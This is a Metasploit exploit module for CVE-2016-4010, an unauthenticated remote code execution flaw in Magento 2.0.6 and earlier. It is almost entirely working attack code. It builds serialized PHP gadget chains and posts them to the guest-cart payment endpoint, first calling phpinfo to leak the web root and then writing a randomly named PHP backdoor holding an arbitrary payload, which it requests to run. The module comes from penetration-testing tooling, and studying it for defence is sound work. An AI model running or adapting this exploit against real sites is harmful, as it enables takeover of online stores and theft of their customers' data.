##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution',
        'Description' => %q{
          This module exploits a PHP object injection vulnerability in Magento 2.0.6
          or prior.
        },
        'Platform' => 'php',
        'License' => MSF_LICENSE,
        'Author' => [
          'Netanel Rubin', # original discovery
          'agix', # original exploit
          'mr_me <mr_me[at]offensive-security.com>', # metasploit module
        ],
        'Payload' => {
          'BadChars' => "\x22",
        },
        'References' => [
          ['CVE', '2016-4010'],
          ['EDB', '39838'],
          ['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'],
          ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'],
          ['URL', 'https://magento.com/security/patches/magento-206-security-update']
        ],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Targeting', { 'auto' => true } ],
        ],
        'DisclosureDate' => '2016-05-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
      ]
    )
  end

  def print_good(msg = '')
    super("#{peer} - #{msg}")
  end

  def get_phpinfo
    # uses the Magento_Framework_DB_Transaction class
    serialize = 'O:13:\"Credis_Client\":22:{'
    serialize << 's:8:\"\u0000*\u0000redis\";'
    serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
    serialize << 's:9:\"\u0000*\u0000_order\";N;'
    serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
    serialize << 's:12:\"\u0000*\u0000_children\";N;'
    serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
    serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;'
    serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
    serialize << 'b:1;'
    serialize << 's:12:\"\u0000*\u0000_hasChild\";N;'
    serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
    serialize << 's:31:\"sales_order_payment_transaction\";'
    serialize << 's:15:\"\u0000*\u0000_eventObject\";'
    serialize << 's:25:\"order_payment_transaction\";'
    serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
    serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
    serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
    serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
    serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
    serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
    serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
    serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
    serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
    serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
    serialize << 's:2:\"id\";'
    serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_origData\";N;'
    serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_resource\";'
    serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{'
    serialize << 's:11:\"\u0000*\u0000_objects\";'
    serialize << 'a:0:{}'
    serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";'
    serialize << 'a:0:{}'
    serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";'
    serialize << 'a:1:{'
    serialize << 'i:0;'
    serialize << 's:7:\"phpinfo\";}}' # the rub
    serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
    serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
    serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
    serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
    serialize << 'b:0;'
    serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
    serialize << 'b:1;'
    serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;'
    serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
    serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
    serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
    serialize << 's:12:\"\u0000*\u0000_registry\";N;'
    serialize << 's:10:\"\u0000*\u0000_logger\";N;'
    serialize << 's:12:\"\u0000*\u0000_appState\";N;'
    serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
    serialize << 's:13:\"\u0000*\u0000storedData\";'
    serialize << 'a:0:{}'
    serialize << 's:8:\"\u0000*\u0000_data\";'
    serialize << 'a:0:{}}'
    serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
    serialize << 's:7:\"\u0000*\u0000host\";N;'
    serialize << 's:7:\"\u0000*\u0000port\";N;'
    serialize << 's:10:\"\u0000*\u0000timeout\";N;'
    serialize << 's:14:\"\u0000*\u0000readTimeout\";N;'
    serialize << 's:13:\"\u0000*\u0000persistent\";N;'
    serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
    serialize << 'b:1;'
    serialize << 's:12:\"\u0000*\u0000connected\";'
    serialize << 'b:1;'
    serialize << 's:13:\"\u0000*\u0000standalone\";N;'
    serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
    serialize << 'i:0;'
    serialize << 's:18:\"\u0000*\u0000connectFailures\";'
    serialize << 'i:0;'
    serialize << 's:14:\"\u0000*\u0000usePipeline\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
    serialize << 's:11:\"\u0000*\u0000commands\";N;'
    serialize << 's:10:\"\u0000*\u0000isMulti\";'
    serialize << 'b:0;'
    serialize << 's:13:\"\u0000*\u0000isWatching\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
    serialize << 's:13:\"\u0000*\u0000selectedDb\";'
    serialize << 'i:0;'
    serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
    serialize << 'a:3:{'
    serialize << 's:6:\"delete\";'
    serialize << 's:3:\"del\";'
    serialize << 's:7:\"getkeys\";'
    serialize << 's:4:\"keys\";'
    serialize << 's:7:\"sremove\";'
    serialize << 's:4:\"srem\";}'
    serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
    serialize << 's:11:\"\u0000*\u0000requests\";'
    serialize << 'i:0;}'

    serialize
  end

  def get_phpshell
    s = "#{@webroot}/#{@backdoor}"
    p = "<?php #{payload.encoded} ?>"
    # uses the Magento_Framework_Simplexml_Config_Cache_File class
    serialize = 'O:13:\"Credis_Client\":22:{'
    serialize << 's:8:\"\u0000*\u0000redis\";'
    serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
    serialize << 's:9:\"\u0000*\u0000_order\";N;'
    serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
    serialize << 's:12:\"\u0000*\u0000_children\";N;'
    serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
    serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";'
    serialize << 'b:1;'
    serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
    serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;'
    serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
    serialize << 's:31:\"sales_order_payment_transaction\";'
    serialize << 's:15:\"\u0000*\u0000_eventObject\";'
    serialize << 's:25:\"order_payment_transaction\";'
    serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
    serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
    serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
    serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
    serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
    serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
    serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
    serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
    serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
    serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
    serialize << 's:2:\"id\";'
    serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_origData\";N;'
    serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_resource\";'
    serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{'
    serialize << 's:8:\"\u0000*\u0000_data\";'
    serialize << 'a:3:{'
    serialize << 's:18:\"is_allowed_to_save\";'
    serialize << 'b:1;'
    serialize << 's:14:\"stat_file_name\";'
    serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";"   # our shell
    serialize << 's:10:\"components\";'
    serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload
    serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
    serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
    serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
    serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
    serialize << 'b:0;'
    serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
    serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;'
    serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
    serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
    serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
    serialize << 's:12:\"\u0000*\u0000_registry\";N;'
    serialize << 's:10:\"\u0000*\u0000_logger\";N;'
    serialize << 's:12:\"\u0000*\u0000_appState\";N;'
    serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
    serialize << 's:13:\"\u0000*\u0000storedData\";'
    serialize << 'a:0:{}'
    serialize << 's:8:\"\u0000*\u0000_data\";'
    serialize << 'a:0:{}}'
    serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
    serialize << 's:7:\"\u0000*\u0000host\";N;'
    serialize << 's:7:\"\u0000*\u0000port\";N;'
    serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;'
    serialize << 's:13:\"\u0000*\u0000persistent\";N;'
    serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
    serialize << 'b:1;'
    serialize << 's:12:\"\u0000*\u0000connected\";'
    serialize << 'b:1;'
    serialize << 's:13:\"\u0000*\u0000standalone\";N;'
    serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
    serialize << 'i:0;'
    serialize << 's:18:\"\u0000*\u0000connectFailures\";'
    serialize << 'i:0;'
    serialize << 's:14:\"\u0000*\u0000usePipeline\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
    serialize << 's:11:\"\u0000*\u0000commands\";N;'
    serialize << 's:10:\"\u0000*\u0000isMulti\";'
    serialize << 'b:0;'
    serialize << 's:13:\"\u0000*\u0000isWatching\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
    serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;'
    serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
    serialize << 'a:3:{'
    serialize << 's:6:\"delete\";'
    serialize << 's:3:\"del\";'
    serialize << 's:7:\"getkeys\";'
    serialize << 's:4:\"keys\";'
    serialize << 's:7:\"sremove\";'
    serialize << 's:4:\"srem\";}'
    serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
    serialize << 's:11:\"\u0000*\u0000requests\";'
    serialize << 'i:0;}'

    serialize
  end

  def do_check
    data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
    data << get_phpinfo
    data << "\"}},\"email\":\"#{@email}\"}"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
      'ctype' => 'application/json',
      'data' => data,
    })
  end

  def define_globals
    @phpsessid = Rex::Text.rand_text_alphanumeric(26)
    @form_key = Rex::Text.rand_text_alphanumeric(26)
    @cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}"
    @email = "#{@phpsessid}@#{@form_key}.com"
  end

  def check
    define_globals
    # we actually exploit the bug, but just for a callback
    begin
      if create_fake_cart
        if generate_cart_id
          # twice, because we need to setup the phpinfo callback using
          # the Magento_Framework_DB_Transaction() pop chain
          res = ""
          (0..1).step(1) do |n|
            res = do_check
          end
          if (res && res.body.include?('phpinfo()'))
            return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
          else
            return Exploit::CheckCode::Safe('The target is not vulnerable')
          end
        end
      end
    rescue ::Rex::ConnectionError => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def get_webroot
    data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
    data << get_phpinfo
    data << "\"}},\"email\":\"#{@email}\"}"

    # we steal path via phpinfo
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
      'ctype' => 'application/json',
      'data' => data,
    })

    if res && res.code == 200
      @webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/
      return true
    end

    false
  end

  def create_fake_cart
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'),
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'cookie' => @cookies,
      'vars_get' => { 'form_key' => @form_key }
    })

    return true if (res && res.body.include?('[]'))

    false
  end

  def generate_cart_id
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/checkout/cart/'),
      'cookie' => @cookies,
    })
    if res && res.code == 200
      @guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/
      return true
    end

    false
  end

  def backdoor
    data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\""
    data << get_phpshell
    data << "\"}},\"email\":\"#{@email}\"}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
      'ctype' => 'application/json',
      'data' => data,
    })

    return true if (res && res.body.include?('true'))

    false
  end

  def exec_code
    send_request_raw({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"),
    }, timeout = 0.5)
  end

  def exploit
    define_globals
    @backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php"
    register_files_for_cleanup("#{@backdoor}")
    if create_fake_cart && generate_cart_id
      print_good("generated a guest cart id")
      if get_webroot && backdoor
        print_good("backdoor done!")
        exec_code
      end
    end
  end
end
